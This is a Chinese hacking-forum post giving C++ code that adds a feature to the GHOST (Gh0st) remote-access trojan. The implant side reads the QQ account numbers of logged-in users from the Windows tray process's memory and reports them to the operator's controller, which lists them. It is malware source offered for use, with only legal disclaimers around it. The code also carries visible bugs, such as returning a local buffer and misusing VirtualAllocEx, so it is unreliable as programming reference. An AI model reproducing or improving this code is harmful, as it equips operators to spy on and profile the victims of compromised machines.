HanDs
NO.2

[Visual Studio文章] GHOST源码添加在线QQ号功能 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

服务端
char           szQQNum[32];
/////////////////////////////////////////////////////////////////////////////////////////
#include <commctrl.h>
//判断一个字符是否是数字....
BOOL IsNumeric(TCHAR LpszStr)
{
if ((47<(int)LpszStr)&&(58>(int)LpszStr))
  return TRUE;
else 
        return FALSE;
}
LPSTR GetQQ()
{
//
HWND HWND,hwndtmp;
unsigned long lngPID;
long ret, lngButtons;
HANDLE hprocess;
LPVOID lngAddress;
long lngTextAdr;
WCHAR strBuff[1024]={0};
char lpQQTemp[MAX_PATH];
char lpQQ[MAX_PATH];


char temp[15]={0};
char lpQQBuffer[256] ="||"; //all QQ num

HWND = FindWindowA("shell_TrayWnd",NULL);
HWND = FindWindowExA(HWND,0,"TrayNotifywnd",NULL);
hwndtmp = FindWindowExA(HWND,0,"SysPager", NULL);
if (!hwndtmp)
  HWND = FindWindowExA(HWND,0, "toolbarWindow32", NULL);
else
        HWND = FindWindowExA(hwndtmp,0,"toolbarWindow32",NULL);
ret =GetWindowThreadProcessId(HWND,&lngPID);
hprocess =OpenProcess(PROCESS_ALL_ACCESS
  |PROCESS_VM_OPERATION
  |PROCESS_VM_READ
  |PROCESS_VM_WRITE,
  0,
  lngPID);


        lngAddress = VirtualAllocEx(hprocess,0, 0x4096,MEM_DECOMMIT, PAGE_READWRITE);//0x02E60000
lngButtons = SendMessage(HWND, TB_BUTTONCOUNT,0,0);

for (int i =0 ;i< lngButtons -1;i++)
{
  ret =SendMessageA(HWND, TB_GETBUTTON,i,long(lngAddress));
  ret =ReadProcessMemory(hprocess, LPVOID(long(lngAddress) +16),&lngTextAdr,4,0);
}


if (lngTextAdr !=-1)
{
  ret =ReadProcessMemory(hprocess, LPVOID(lngTextAdr),strBuff, 1024,0);

  WideCharToMultiByte(CP_ACP,0,strBuff, -1,lpQQTemp, sizeof(lpQQTemp),NULL,FALSE);

  lstrcpynA(lpQQ,lpQQTemp,3);


  if (0==strcmpi(lpQQ,"QQ"))
  {
   int len = strlen(lpQQTemp);
   for (int j=0;j<len;j++)
   {
    if(((int)lpQQTemp[j] == (int)'(') &&
     IsNumeric(lpQQTemp[j+1]) &&
     IsNumeric(lpQQTemp[j+2]) &&
     IsNumeric(lpQQTemp[j+3]) &&
     IsNumeric(lpQQTemp[j+4]) &&
     IsNumeric(lpQQTemp[j+5]))
    {
     if (!IsNumeric(lpQQTemp[j+6]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
     }
     else if (!IsNumeric(lpQQTemp[j+7]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
      temp[5] = lpQQTemp[j+6];
     }
     else if (!IsNumeric(lpQQTemp[j+8]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
      temp[5] = lpQQTemp[j+6];
      temp[6] = lpQQTemp[j+7];
     }
     else if (!IsNumeric(lpQQTemp[j+9]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
      temp[5] = lpQQTemp[j+6];
      temp[6] = lpQQTemp[j+7];
      temp[7] = lpQQTemp[j+8];


     }
     else if (!IsNumeric(lpQQTemp[j+10]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
      temp[5] = lpQQTemp[j+6];
      temp[6] = lpQQTemp[j+7];
      temp[7] = lpQQTemp[j+8];
      temp[8] = lpQQTemp[j+9];

     }
     else if (!IsNumeric(lpQQTemp[j+11]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
      temp[5] = lpQQTemp[j+6];
      temp[6] = lpQQTemp[j+7];
      temp[7] = lpQQTemp[j+8];
      temp[8] = lpQQTemp[j+9];
      temp[9] = lpQQTemp[j+10];
     }
     else if (!IsNumeric(lpQQTemp[j+12]))
     {
      temp[0] = lpQQTemp[j+1];
      temp[1] = lpQQTemp[j+2];
      temp[2] = lpQQTemp[j+3];
      temp[3] = lpQQTemp[j+4];
      temp[4] = lpQQTemp[j+5];
      temp[5] = lpQQTemp[j+6];
      temp[6] = lpQQTemp[j+7];
      temp[7] = lpQQTemp[j+8];
      temp[8] = lpQQTemp[j+9];
      temp[9] = lpQQTemp[j+10];
                        temp[10] = lpQQTemp[j+11];
     }
     else
     {
      //12
     }

     strcat(lpQQBuffer,temp);
     strcat(lpQQBuffer,"||");

    }
   }
  }
}

VirtualAllocEx(hprocess, lngAddress, 0x4096, MEM_DECOMMIT, PAGE_READWRITE);//0x02E60000
CloseHandle(hprocess);

if (lstrlen(lpQQBuffer)<5)
{
  lstrcpy(lpQQBuffer,"-/-");
}
return lpQQBuffer ;

}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////

lstrcpy(LoginInfo.szQQNum,GetQQ());

客户端
//////////////////////////////////
char           szQQNum[32];
{"QQ",               60 },

  str.Format("%s", LoginInfo-> szQQNum);
  m_pListCtrl-> SetItemText(i,9,str);


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
GHOST 源码添加在线 QQ 号功能
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组